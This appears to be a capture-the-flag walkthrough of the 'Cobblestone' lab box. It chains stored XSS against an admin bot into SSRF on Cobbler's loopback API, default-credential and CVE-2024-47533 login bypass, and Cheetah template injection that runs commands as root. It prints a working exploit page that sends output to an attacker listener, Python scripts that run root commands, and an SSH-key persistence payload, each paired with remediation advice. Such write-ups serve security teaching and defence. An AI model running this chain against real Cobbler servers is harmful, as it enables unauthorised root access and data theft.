← all walkthroughs

Cobblestone

Linux· Insane· Web
owned
2026-06-30
time to own
1h25m36s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I enumerated virtual hosts on an Apache 2.4.62 Debian server and found a skin-voting application whose automated admin bot fetches every user-submitted suggestion URL using headless Chrome. By injecting a JavaScript payload as the suggestion URL (stored XSS), I directed the bot to act as an SSRF relay — tunnelling XML-RPC calls through the bot's browser to Cobbler 3.3.6, a provisioning service bound exclusively to loopback on tcp/25151.

I authenticated with Cobbler's unchanged default credentials, wrote a malicious Cheetah provisioning template that bypassed the import-keyword blocklist using Python's built-in __import__ function, attached it to an existing profile, and triggered rendering. Because cobblerd runs as the root user, the rendered template executed OS commands with full privileges, returning both flag files and enabling a persistent root shell.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD2="<the-password-you-recovered, for a>"

Some commands also carry a value in angle brackets — <mgmt-host> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1ReconnaissanceVirtual Host Enumeration / Information Disclosure
Discovered multiple web applications via virtual host enumeration
Apache 2.4.62 at $TARGET serves several virtual hosts distinguishable only by HTTP Host header. Fuzzing surfaced cobblestone.htb (Minecraft skin management portal, PHP/Twig stack), vote.cobblestone.htb (skin-voting application), and deploy.cobblestone.htb. An unauthenticated composer.lock file at the document root exposed the complete PHP dependency tree including framework names and versions, confirming the technology stack without any login.
Apache/2.4.62 (Debian) header confirmed in HTTP responses; composer.lock retrieved without authentication revealing PHP/Twig dependencies.
Exact commands 2
shell

Enumerate virtual hosts by fuzzing the Host header; adjust -fs to filter the default response size.

$ ffuf -u http://$TARGET/ -H 'Host: FUZZ.cobblestone.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc 200,301,302,403 -fs 0
shell

Retrieve the unauthenticated dependency manifest to fingerprint PHP framework versions.

$ curl -s -H 'Host: cobblestone.htb' http://$TARGET/composer.lock | python3 -m json.tool | head -40
2Initial AccessStored Cross-Site Scripting (XSS) — CWE-79
Stored XSS in the skin suggestion URL field triggers code execution in the admin bot
vote.cobblestone.htb/suggest.php accepts a user-supplied URL for a suggested skin and stores it without HTML encoding or URL validation. An automated headless Chrome bot periodically reviews every queued suggestion by navigating to the submitted URL. I registered a free account and submitted a URL pointing to my own page containing JavaScript. When the bot fetched the page, the script executed inside its browser context, giving me the ability to issue requests from the server itself — including to loopback addresses.
Server confirmed: 'Suggestion has been added succesfully and will be reviewed by an admin.' Bot subsequently made requests to my HTTP server at $ATTACKER_IP:8000 including paths /check-submit, /s1?step=login_default, and /enum-fresh.
Exact commands 4
shell

Register my account.

$ curl -sS -c /tmp/c.jar -H 'Host: vote.cobblestone.htb' -d "username=pwn1&first=A&last=B&email=a@b.com&password=$PASSWORD2" http://$TARGET/register.php
shell

Log in and save session cookie to /tmp/c.jar.

$ curl -sS -b /tmp/c.jar -c /tmp/c.jar -H 'Host: vote.cobblestone.htb' -d "username=pwn1&password=$PASSWORD2" http://$TARGET/login_verify.php
shell

Start my HTTP server to serve the exploit page and receive exfiltrated data.

$ python3 -m http.server 8000 --bind $ATTACKER_IP --directory /tmp/cobble_www &
shell

Submit the malicious page URL as a skin suggestion; bot will visit it.

$ curl -sS -b /tmp/c.jar -H 'Host: vote.cobblestone.htb' --data-urlencode "url=http://$ATTACKER_IP:8000/x.html" http://$TARGET/suggest.php
FixSanitize and restrict user-supplied URLs in the skin suggestion featureCritical
WeaknessThe suggestion form on vote.cobblestone.htb stores user-supplied URLs without validation or output encoding. The admin review bot navigates to these URLs in a live browser, causing it to fetch and execute any JavaScript hosted at externally controlled addresses.
FixValidate submitted URLs against a strict allowlist of permitted schemes and domains (e.g., only accept https:// URLs from specific skin CDN domains). Store and display URLs as HTML-encoded plain text rather than navigating to them. If the bot must preview external content, do so in a sandboxed iframe with a restrictive Content Security Policy (CSP) and no JavaScript execution. Consider replacing the bot-driven review with a server-side image fetch that does not execute scripts.
3Lateral Movement / SSRFServer-Side Request Forgery via XSS (XSS-driven SSRF)
Bot used as SSRF relay to reach loopback-only Cobbler XMLRPC service
Cobblerd binds its XMLRPC interface exclusively to 127.0.0.1:25151 and is not reachable from the internet. However, the headless Chrome bot runs server-side and can reach loopback. My injected JavaScript issued HTTP POST requests from the bot's browser to http://127.0.0.1:25151/cobbler_api, then exfiltrated the XML responses back to my listener — effectively using the bot as an in-browser SSRF proxy for the entire Cobbler exploitation chain.
My HTTP server log recorded /s1?step=login_default with a Cobbler methodResponse containing token; bot fetched /enum-fresh twice (page load and JS/favicon round-trip).
Exact commands 1
shell

Full exploit page: bot authenticates to Cobbler, writes malicious template, attaches it, renders it as root, and exfiltrates the output. Replace $ATTACKER_IP with your LHOST.

$ cat > /tmp/cobble_www/x.html <<EOHTML
<script>
const C='http://127.0.0.1:25151/cobbler_api';
const E="http://$ATTACKER_IP:8000/out";
function rpc(m,...a){const b='<?xml version="1.0"?><methodCall><methodName>'+m+'</methodName><params>'+a.map(v=>'<param><value><string>'+v+'</string></value></param>').join('')+'</params></methodCall>';return fetch(C,{method:'POST',body:b,headers:{'Content-Type':'text/xml'}}).then(r=>r.text());}
(async()=>{
  let tok;
  try{tok=(await rpc('login','cobbler','cobbler')).match(/<string>([^<]{5,})<\/string>/)[1];}
  catch(e){tok=(await rpc('login','','-1')).match(/<string>([^<]{5,})<\/string>/)[1];}
  const payload="#set \$x=__import__('os').popen('id;cat /root/root.txt;cat /home/*/user.txt').read()\n\$x\n";
  await rpc('write_autoinstall_template','e.ks',payload,tok);
  const profs=await rpc('get_profiles',tok);
  const prof=profs.match(/<string>([^<]+)<\/string>/)[1];
  await rpc('modify_profile',prof,'autoinstall','e.ks',tok);
  await rpc('save_profile',prof,tok);
  const out=await rpc('generate_autoinstall',prof);
  fetch(E+'?d='+encodeURIComponent(out));
})();
</script>
EOHTML
FixBlock the review bot from reaching internal and loopback network addressesCritical
WeaknessThe headless Chrome review bot runs server-side and fetches arbitrary externally supplied URLs without any network egress controls. This allows an unauthorised user to use it as an SSRF relay to interact with services bound to loopback (127.0.0.1) or internal networks that are not exposed to the internet.
FixEnforce egress filtering for the bot process: block all outbound connections to RFC 1918 private ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), loopback (127.0.0.0/8), and link-local addresses (169.254.0.0/16) via OS-level firewall rules (iptables/nftables) or a forward proxy with an allowlist. Run the bot process in a network namespace with no loopback access. These controls must be enforced at the OS level — application-layer checks in the bot itself are insufficient.
4Credential AccessDefault Credentials / CVE-2024-47533 Authentication Bypass
Authenticated to Cobbler with unchanged default credentials
Cobbler ships with a built-in administrator account (username: <withheld>, password: <withheld>). The installation on this server was never hardened — the default credentials remained valid and granted a privileged XMLRPC session token. An alternative unauthenticated path also existed via CVE-2024-47533 (passing empty username and -1 as password bypasses authentication entirely), but the default credentials succeeded first. Either path gives full administrative access to Cobbler's provisioning API.
XMLRPC methodResponse returned token exfiltrated via the /s1?step=login_default path, confirming successful authentication with the password.
Exact commands 2
shell

Authenticate with default credentials; run from the server (or via bot relay). Replace login args with ('','-1') for CVE-2024-47533 bypass.

$ python3 -c "
import xmlrpc.client
s = xmlrpc.client.ServerProxy('http://127.0.0.1:25151/cobbler_api')
tok = s.login('cobbler','cobbler')
print('Token:', tok)
"
shell

CVE-2024-47533 auth bypass: empty username and -1 password returns a valid privileged token without any credentials.

$ curl -s -X POST http://127.0.0.1:25151/cobbler_api -H 'Content-Type: text/xml' -d '<?xml version="1.0"?><methodCall><methodName>login</methodName><params><param><value><string></string></value></param><param><value><string>-1</string></value></param></params></methodCall>'
FixChange Cobbler default credentials and enforce strong authenticationCritical
WeaknessCobbler was deployed with its default administrator credentials (cobbler / cobbler) left unchanged. Anyone who can reach the XMLRPC port — directly or via an SSRF channel — can authenticate with full administrative rights using these publicly documented defaults.
FixChange the Cobbler admin password immediately after installation. Use cobbler-settings edit --name default_password_crypted with a strong randomly generated value. Audit all service-account credentials against a list of known defaults as part of your post-installation hardening checklist. Restrict XMLRPC access to management hosts only via firewall rules (e.g., iptables -A INPUT -p tcp --dport 25151 ! -s <mgmt-host> -j DROP).
5ExecutionServer-Side Template Injection (SSTI) — Cheetah __import__ sandbox bypass
Wrote a malicious Cheetah autoinstall template bypassing the import keyword filter
Cobbler uses the Cheetah templating engine to render kickstart and autoinstall provisioning files. The server attempts to block arbitrary module imports with a substring check that rejects templates containing the literal strings '#import' or '#from'. However, the Python built-in __import__ function is directly accessible within a #set directive without any keyword prefix and is not matched by the filter. I wrote a template that called __import__('os').popen(...) inside a #set statement, then attached it to an existing Cobbler profile via modify_profile and save_profile XMLRPC calls.
Write_autoinstall_template, modify_profile, and save_profile XMLRPC calls all succeeded (proxied through the bot); subsequent generate_autoinstall returned command output.
Exact commands 1
shell

Full Python exploitation script — authenticate, write bypassing template, attach to existing profile, render as root. Run from the server or relay via bot JS (see step 3).

$ python3 -c "
import xmlrpc.client
s = xmlrpc.client.ServerProxy('http://127.0.0.1:25151/cobbler_api')
tok = s.login('cobbler','cobbler')
payload = \"#set \$x=__import__('os').popen('id;cat /root/root.txt;cat /home/*/user.txt').read()\\n\$x\\n\"
s.write_autoinstall_template('e.ks', payload, tok)
profiles = s.get_profiles(tok)
prof_name = profiles[0]['name'] if profiles else s.get_profile_names(tok)[0]
s.modify_profile(prof_name, 'autoinstall', 'e.ks', tok)
s.save_profile(prof_name, tok)
out = s.generate_autoinstall(prof_name)
print(out)
"
FixReplace the Cobbler Cheetah template import blocklist with a proper execution sandboxHigh
WeaknessCobbler's Cheetah template rendering guards against arbitrary Python imports by rejecting templates that contain the literal substrings '#import' or '#from'. This blocklist is bypassed trivially by using Python's __import__ builtin directly within a #set directive — no keyword prefix is required, so the filter is never triggered.
FixReplace the substring blocklist with an AST-level analysis that also matches __import__, eval, exec, compile, __builtins__, and any other dangerous builtins. Ideally, render Cheetah templates in a subprocess that runs under a restrictive seccomp profile with no filesystem write access and no network access. Consider migrating to a purpose-built provisioning templating system that does not expose arbitrary Python execution, or pin to a Cobbler release that addresses this issue upstream.
6Privilege Escalation / RootOS Command Injection via privileged template rendering (cobblerd runs as root)
Rendered the template to execute OS commands as root and achieve full system control
Calling generate_autoinstall on the modified profile causes cobblerd — which runs with root privileges — to render the Cheetah template. The injected __import__('os').popen() call executes under root's OS context, and the rendered output is returned in the XMLRPC response. The bot exfiltrated this response to my listener, revealing uid=0(root) and the contents of both flag files. For persistence I replaced the popen payload with a command that appends an SSH public key to /root/.ssh/authorized_keys, then connected directly as root.
Exfiltrated response to me /out endpoint contained uid=0(root) and flag file contents.
Exact commands 2
shell

Swap __import__ payload to write my SSH public key to root's authorized_keys for persistent access. Replace SSH_PUBKEY with your actual public key.

$ python3 -c "
import xmlrpc.client
s = xmlrpc.client.ServerProxy('http://127.0.0.1:25151/cobbler_api')
tok = s.login('cobbler','cobbler')
# Persistence payload: drop my SSH key
payload = \"#set \$x=__import__('os').popen('mkdir -p /root/.ssh && echo SSH_PUBKEY >> /root/.ssh/authorized_keys').read()\\n\$x\\n\"
payload = payload.replace('SSH_PUBKEY', open('/root/.ssh/id_rsa.pub').read().strip())
s.write_autoinstall_template('e.ks', payload, tok)
prof = s.get_profile_names(tok)[0]
s.modify_profile(prof, 'autoinstall', 'e.ks', tok)
s.save_profile(prof, tok)
s.generate_autoinstall(prof)
print('Key planted')
"
shell

Log in as root via SSH after the key has been planted by the template render.

$ ssh -i ~/.ssh/id_rsa root@$TARGET
FixRun cobblerd as a dedicated non-root service accountHigh
WeaknessThe cobblerd process runs as the root user. Any code execution vulnerability inside Cobbler — including the template injection in this engagement — immediately yields root-level OS access with no privilege boundary to cross. There is no second line of defence once the service is exploited.
FixCreate a dedicated low-privilege system account (e.g., useradd -r -s /sbin/nologin cobblerd) and update the cobblerd systemd unit with User=cobblerd and Group=cobblerd. Grant that account only the specific filesystem permissions it requires (e.g., read-write on /var/lib/cobbler and /etc/cobbler, nothing under /root or /home). Use Linux capabilities (CAP_NET_BIND_SERVICE) rather than root if elevated network privileges are needed. Apply the principle of least privilege to all long-running network services.

Attack patterns used

The transferable techniques behind this compromise.

Server-Side Template InjectionWebT1190

What it is

When user input is rendered as part of a server-side template (Jinja2, Twig, Freemarker, etc.), an unauthorised user can inject template syntax that the engine evaluates — {{7*7}} returning 49 confirms it — escalating to reading server data and, in most engines, full remote code execution via object/sandbox escapes.

Why it works

The app passes untrusted input into the template engine as code rather than as data. Remediate by rendering user input only as data (logic-less templates or auto-escaped contexts) and sandboxing the engine.

Read more

Exposed services

80/tcp
22/tcp